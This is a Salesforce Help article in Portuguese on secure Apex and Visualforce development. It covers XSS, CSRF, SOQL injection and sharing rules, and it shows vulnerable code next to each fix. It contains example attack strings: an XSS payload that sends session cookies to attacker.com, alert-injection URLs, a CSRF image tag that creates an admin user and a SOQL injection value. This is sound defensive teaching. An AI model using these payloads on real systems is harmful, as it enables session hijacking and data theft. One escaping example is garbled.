Loading
Aprimorar o Salesforce com código
Índice
Selecionar filtros

          Sem resultados
          Sem resultados
          Aqui estão algumas dicas de pesquisa

          Verifique a grafia das palavras-chave.
          Tente utilizar termos mais genéricos.
          Selecione menos filtros para ampliar sua pesquisa.

          Pesquisar em toda a Ajuda do Salesforce
          Diretrizes de segurança para desenvolvimento no Apex e no Visualforce

          Diretrizes de segurança para desenvolvimento no Apex e no Visualforce

          Compreenda e proteja-se contra vulnerabilidades em seu código à medida que você desenvolve aplicativos personalizados.

          Edições obrigatórias

          Disponível em: Salesforce Classic

          Disponível em: Group, Professional, Enterprise, Performance, Unlimited, Developer e Database.com Editions

          O Visualforce não está disponível em Database.com.

          Entendendo a segurança

          A poderosa combinação das páginas do Apex e do Visualforce permite que os desenvolvedores da Plataforma do Lightning forneçam funcionalidades personalizadas e lógica de negócios para a Salesforce ou criem um produto independente novo para ser executado na Plataforma do Lightning. No entanto, assim como qualquer linguagem de programação, os desenvolvedores devem conhecer possíveis ciladas relacionadas à segurança.

          O Salesforce incorporou várias defesas de segurança à Plataforma do Lightning. No entanto, desenvolvedores descuidados ainda conseguem ignorar as defesas incorporadas e expor aplicativos e clientes aos riscos de segurança. Muitos dos erros de codificação que um desenvolvedor pode fazer na Plataforma do Lightning são semelhantes às vulnerabilidades de segurança de aplicativos da Web em geral, enquanto outras são exclusivas do Apex.

          Para certificar um aplicativo para o AppExchange, é importante que os desenvolvedores conheçam e entendam as falhas de segurança descritas aqui. Para obter mais informações, consulte a página Recursos de segurança da Plataforma do Lightning no Salesforce Developers. https://developer.salesforce.com/page/Security.

          Cross-Site Scripting (XSS)

          Ataques de cross-site scripting (XSS) são onde scripts HTML ou do cliente, mal-intencionados, são fornecidos a um aplicativo da Web.

          O aplicativo da Web inclui scripts mal-intencionados em uma resposta a um usuário que, inadvertidamente, se torna vítima do ataque. O atacante usa o aplicativo da Web como intermediário no ataque, tirando vantagem da confiança da vítima no próprio aplicativo da Web. A maioria dos aplicativos que exibem páginas da web dinâmicas sem validar devidamente os dados provavelmente é vulnerável. Ataques contra o site são especialmente fáceis, caso a entrada de um usuário deva ser exibida a outro usuário. Algumas possibilidade óbvias são incluir um quadro de avisos ou sites com comentários de usuários, notícias ou arquivos de email.

          Por exemplo: vamos supor que este script seja incluído em uma página da Plataforma do Lightning que use um componente de script, um evento on* ou uma página do Visualforce.

          <script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

          Este bloco de script insere o valor userparam fornecido pelo usuário na página. Dessa forma, o atacante poderá inserir esse valor para userparam.

          1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

          Neste caso, todos os cookies da página atual são enviados para www.attacker.com como a string de consulta na solicitação para o script cookie.cgi. Neste ponto, o atacante tem o cookie da sessão da vítima e pode se conectar ao aplicativo da web como se fosse a própria vítima.

          O atacante pode postar um script mal-intencionado usando um site da web ou email. Os usuários do aplicativo da web não só veem a entrada do atacante como também o navegador consegue executar o script do atacante em um contexto confiável. Com essa habilidade, o atacante pode realizar uma ampla variedade de ataques contra a vítima. Esses ataques variam entre ações simples, como abrir e fechar janelas, até ataques mais mal-intencionados, como roubo de dados ou cookies da sessão, permitindo que o atacante tenha acesso total à sessão da vítima.

          Para obter mais informações sobre esse tipo de ataque:

          Dentro da Plataforma do Lightning, existem várias defesas anti-XSS em vigor. Por exemplo, o Salesforce possui filtros que filtram os caracteres prejudiciais na maioria dos métodos de saída. Para o desenvolvedor que usa classes e métodos de saída padrão, as ameaças de falhas de XSS foram amplamente mitigadas. No entanto, um desenvolvedor criativo ainda consegue encontrar formas de contornar com ou sem intenção os controles padrão.

          Proteção existente

          Todos os componentes padrão do Visualforce, que começam com <apex>, contam com filtros anti-XSS para filtrar caracteres prejudiciais. Por exemplo: este código normalmente é vulnerável a um ataque XSS, pois pega uma entrada fornecida pelo usuário e a devolve diretamente para ele. No entanto, a marca <apex:outputText> é protegida contra XSS. Todos os caracteres que parecem ser marcas HTML são convertidos para a forma literal. Por exemplo, o caractere < é convertido para &lt;, para que um literal < seja exibido na tela do usuário.

          <apex:outputText> 
              {!$CurrentPage.parameters.userInput} 
          </apex:outputText>

          Desativar o escape nas marcas Visualforce

          Por padrão, quase todas as marcas Visualforce têm um escape para os caracteres vulneráveis ao XSS. É possível desabilitar esse comportamento ao configurar o atributo opcional escape="false". Por exemplo, esta saída é vulnerável a ataques de XSS.

          <apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

          Itens de programação não protegidos contra XSS

          Código JavaScript personalizado e código nos componentes <apex:includeScript> não têm proteções XSS integradas. Esses itens permitem que o desenvolvedor personalize a página com comandos de script. Não faz sentido incluir filtros anti-XSS nos comandos que são adicionados intencionalmente à página.

          JavaScript personalizado

          Se você escrever seu próprio código JavaScript, a Plataforma do Lightning não terá como protegê-lo. Por exemplo, este código estará vulnerável ao XSS se utilizado no JavaScript.

          <script> 
              var foo = location.search; 
              document.write(foo); 
          </script>

          <apex:includeScript>

          Com o componente <apex:includeScript> do Visualforce, você pode incluir um script personalizado em uma página. Certifique-se de validar se o conteúdo é seguro e não inclui dados fornecidos pelo usuário. Por exemplo, este snippet é vulnerável, pois inclui entradas feitas pelo usuário como o valor do texto de script. O valor fornecido pela marca é um URL para o JavaScript incluir. Se um atacante puder enviar dados arbitrários a esse parâmetro como no exemplo, ele poderá direcionar a vítima para incluir qualquer arquivo JavaScript a partir de qualquer outro site da Web.

          <apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

          Marcas de fórmula

          A sintaxe geral dessas marcas é: {!FUNCTION()} ou {!$OBJECT.ATTRIBUTE}. Por exemplo, se um desenvolvedor quiser incluir o ID de uma sessão do usuário em um link, ele poderá criar o link usando a seguinte sintaxe.

          <a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
          Go to portal</a>

          E ele será renderizado como esta saída.

          <a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
          SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
          /services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

          As expressões de fórmula podem ser chamadas de função ou incluir informações sobre objetos da plataforma, um ambiente do usuário, um ambiente do sistema e o ambiente da solicitação. Um importante recurso dessas expressões é que os dados não têm escape durante a renderização. Como as expressões são apresentadas no servidor, não é possível escapar os dados apresentados no cliente usando JavaScript ou outra tecnologia do cliente. Isso pode ser perigoso se a expressão da fórmula fizer referência a dados de fora do sistema que sejam hostis ou editáveis e se a expressão não estiver empacotada em uma função para escapar da saída durante a renderização. Uma vulnerabilidade comum é criada usando a expressão {!$Request.*} para acessar os parâmetros da solicitação.

          <html>
              <head>
                  <title>{!$Request.title}</title>
              </head>
              <body>Hello world!</body>
          </html>

          Infelizmente, a marca {!$Request.title} sem escape também ocasiona uma vulnerabilidade de script entre sites. Por exemplo, a solicitação:

          https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

          apresenta o resultado:

          <html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>

          O mecanismo padrão para fazer escape do lado do servidor é usar a marca de fórmula SUBSTITUTE(). Devido à colocação da expressão {!$Request.*} no exemplo, o ataque descrito pode ser evitado usando estas chamadas SUBSTITUTE() aninhadas.

          <html>
              <head>
                  <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
              </head>
              <body>Hello world!</body>
          </html>

          Dependendo da colocação da marca e do uso dos dados, os caracteres que precisam de escape e suas contrapartes escapadas podem variar. Por exemplo, esta instrução:

          <script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

          exige que o caractere de aspas duplas seja escapado para %22, seu equivalente codificado para URL, e não para ", HTML escapado, pois ele provavelmente será usado em um link. Caso contrário, a solicitação:

          https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

          resultará em:

          <script>var ret = "foo";alert('xss');//";</script>

          Às vezes, a variável ret pode precisar de um escape adicional no lado do cliente mais adiante na página caso seja usada de forma que possa fazer com que os caracteres de controle HTML incluídos sejam interpretados.

          As marcas de fórmula também podem ser usadas para incluir dados do objeto da plataforma. Embora os dados sejam retirados diretamente da organização do usuário, eles ainda deverão ser escapados antes do uso para evitar que eles executem o código no contexto de outros usuários, como aqueles com níveis de privilégio mais altos. Somente usuários dentro da mesma organização podem realizar esses tipos de ataques. Esses ataques minam os papéis do usuário e reduzem a integridade dos registros de auditoria. Os dados podem ser importados de origens externas e não filtrados em busca de conteúdo malicioso.

          Cross-Site Request Forgery (CSRF)

          As falhas de Cross-Site Request Forgery (CSRF) não são tanto um erro de programação, mas a falta de uma defesa.

          Por exemplo, um atacante possui uma página da Web em www.attacker.com que pode ser qualquer página, incluindo uma que forneça serviços ou informações valiosas que conduza o tráfego para esse site. Em algum lugar da página do atacante está uma marca HTML que é assim:

          <img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

          Em outras palavras, a página do atacante contém um URL que executa uma ação no seu site. Se o usuário ainda estiver conectado à sua página da web ao visitar a página do atacante, o URL será recuperado e as ações serão executadas. Esse ataque é bem-sucedido, pois o usuário ainda está autenticado na sua página da web. Esse é um exemplo simples, e o atacante pode ser mais criativo usando scripts para gerar a solicitação de callback ou até usar ataques de CSRF contra seus métodos AJAX.

          Para obter mais informações e defesas tradicionais:

          Dentro da Plataforma do Lightning, o Salesforce implementou um token anti-CSRF para evitar esse tipo de ataque. Todas as páginas incluem uma sequência aleatória de caracteres na forma de um campo de formulário oculto. No carregamento da próxima página, o aplicativo verifica a validade dessa string e não executa o comando se o valor for correspondente ao valor esperado. Esse recurso o protege quando você estiver usando todos os controladores e métodos padrão.

          Aqui, mais uma vez, o desenvolvedor pode contornar as defesas incorporadas sem perceber o risco. Por exemplo, um controlador personalizado usa o ID do objeto como parâmetro de entrada e depois o utiliza em uma chamada SOQL.

          <apex:page controller="myClass" action="{!init}"</apex:page>
          
          public class myClass { 
            public void init() { 
              Id id = ApexPages.currentPage().getParameters().get('id'); 
              Account obj = [select id, Name FROM Account WHERE id = :id]; 
              delete obj; 
              return ; 
            }
          }
          

          Sem saber, o desenvolvedor contornou os controles anti-CSRF ao desenvolver seu próprio método de ação. O parâmetro id foi lido e usado no código. O token anti-CSRF nunca é lido ou validado. Uma página da Web do atacante pode direcionar o usuário para esta página usando um ataque CSRF e fornecendo qualquer valor para o parâmetro id.

          Não existem defesas integradas para situações como essa e os desenvolvedores devem ter cuidado ao escrever páginas cuja ação se baseia em um parâmetro fornecido pelo usuário, como a variável id no exemplo anterior. Uma possível solução pode ser inserir uma página de confirmação intermediária antes de executar a ação para garantir que o usuário pretendia mesmo acessar a página. Outras sugestões são encurtar o tempo limite da sessão ociosa e educar os usuários a fazerem logout da sessão ativa e não usarem o navegador para acessarem outros sites enquanto estiverem autenticados.

          Como o Salesforce tem uma defesa integrada contra CSRF, seus usuários poderão encontrar um erro quando tiverem diversas páginas de login do Salesforce abertas. Se o usuário efetuar login no Salesforce em uma guia e, em seguida, tentar fazer login em outra, ele verá este erro: A página que você enviou foi inválida para sua sessão. Os usuários podem fazer login com êxito atualizando a página de login ou tentado fazer login uma segunda vez.

          Injeção SOQL

          Em outras linguagens de programação, a falha anterior é conhecida como injeção SQL.

          O Apex não usa SQL, mas usa sua própria linguagem de consulta a banco de dados, SOQL. A SOQL é muito mais simples e com funcionalidades mais limitadas que a SQL. Os riscos são muito menores para a injeção SOQL que para a injeção SQL, mas os ataques são quase idênticos à tradicional injeção SQL. A injeção SQL/SOQL envolve pegar a entrada fornecida pelo usuário e usar esses valores em uma consulta SOQL dinâmica. Se a entrada não for validada, ela poderá incluir comandos SOQL que, de fato, modificam a instrução SOQL e, assim, enganam o aplicativo para executar comandos não desejados.

          Vulnerabilidade à injeção SOQL no Apex

          Este é um exemplo simples de um código do Apex e do Visualforce vulnerável à injeção SOQL.

          <apex:page controller="SOQLController" >
              <apex:form>
                  <apex:outputText value="Enter Name" />
                  <apex:inputText value="{!name}" />
                  <apex:commandButton value="Query" action="{!query}“ />
              </apex:form>
          </apex:page>
          public class SOQLController {
              public String name {
                  get { return name;}
                  set { name = value;}
              } 
              public PageReference query() {
                  String qryString = 'SELECT Id FROM Contact WHERE ' +
                      '(IsDeleted = false and Name like \'%' + name + '%\')';
                  List<Contact> queryResult = Database.query(qryString);
                  System.debug('query result is ' + queryResult);
                  return null;
              }
          }
          

          Este exemplo bastante simples ilustra a lógica. O código é feito para pesquisar contatos que não foram excluídos. O usuário fornece um valor de entrada chamado name. O valor pode ser qualquer coisa fornecida pelo usuário e nunca é validado. A consulta SOQL é integrada de forma dinâmica e, depois, executada com o método Database.query. Se o usuário fornecer um valor verdadeiro, a instrução será executada como esperado.

          // User supplied value: name = Bob 
          // Query string
          SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

          Mas, e se o usuário fornecer uma entrada inesperada, como:

          // User supplied value for name: test%') OR (Name LIKE '

          Nesse caso, a string de consulta será:

          SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

          Agora, os resultados mostram todos os contatos, não apenas os que não foram excluídos. Uma falha na injeção SOQL pode ser usada para modificar a lógica de qualquer consulta vulnerável.

          Defesas da injeção SOQL

          Para evitar um ataque de injeção SOQL, evite usar consultas SOQL dinâmicas. Em vez disso, use consultas estáticas e variáveis vinculantes. O exemplo vulnerável acima pode ser reescrito usando SOQL estática.

          public class SOQLController { 
              public String name { 
                  get { return name;} 
                  set { name = value;} 
              } 
              public PageReference query() { 
                  String queryName = '%' + name + '%';
                  List<Contact> queryResult = [SELECT Id FROM Contact WHERE 
                     (IsDeleted = false and Name like :queryName)];
                  System.debug('query result is ' + queryResult);
                  return null; 
              } 
          }

          Se você precisar usar SOQL dinâmico, use o método escapeSingleQuotes para sanitizar a entrada fornecida pelo usuário. Esse método adiciona o caractere de escape (\) a todas as aspas simples em uma string que seja aprovada por um usuário. O método garante que todas as aspas simples sejam tratadas como strings que terão uma outra aspa simples para fechar, e não como comandos do banco de dados.

          Controle de acesso aos dados

          A Plataforma do Lightning faz um grande uso das regras de compartilhamento de dados. Cada objeto tem permissões e pode ter configurações de compartilhamento que os usuários podem ler, criar, editar e excluir. Essas configurações são obrigatórias ao usar todos os controladores padrão.

          Ao usar uma classe do Apex, as permissões incorporadas do usuário e as restrições de segurança no nível do campo não serão respeitadas durante a execução. O comportamento padrão é que uma classe do Apex possa ler e atualizar todos os dados. Como essas regras não são obrigatórias, os desenvolvedores que usam o Apex devem evitar expor sem intenção dados confidenciais que normalmente estariam escondidos por permissões do usuário, segurança em nível de campo ou padrões. Por exemplo, considere este pseudo-código do Apex.

          public class customController { 
              public void read() { 
                  Contact contact = [SELECT id FROM Contact WHERE Name = :value]; 
              } 
          }
          

          Neste caso, são pesquisados todos os registros de contato, mesmo se o usuário que estiver conectado no momento normalmente não tivesse permissão para visualizá-los. A solução é usar as palavras-chave de qualificação with sharing ao declarar a classe:

          public with sharing class customController { 
              . . . 
          }
          

          A palavra-chave with sharing direciona a plataforma para usar permissões de compartilhamento de segurança do usuário que está logado e não conceder acesso total a todos os registros.

           
          Carregando
          Salesforce Help | Article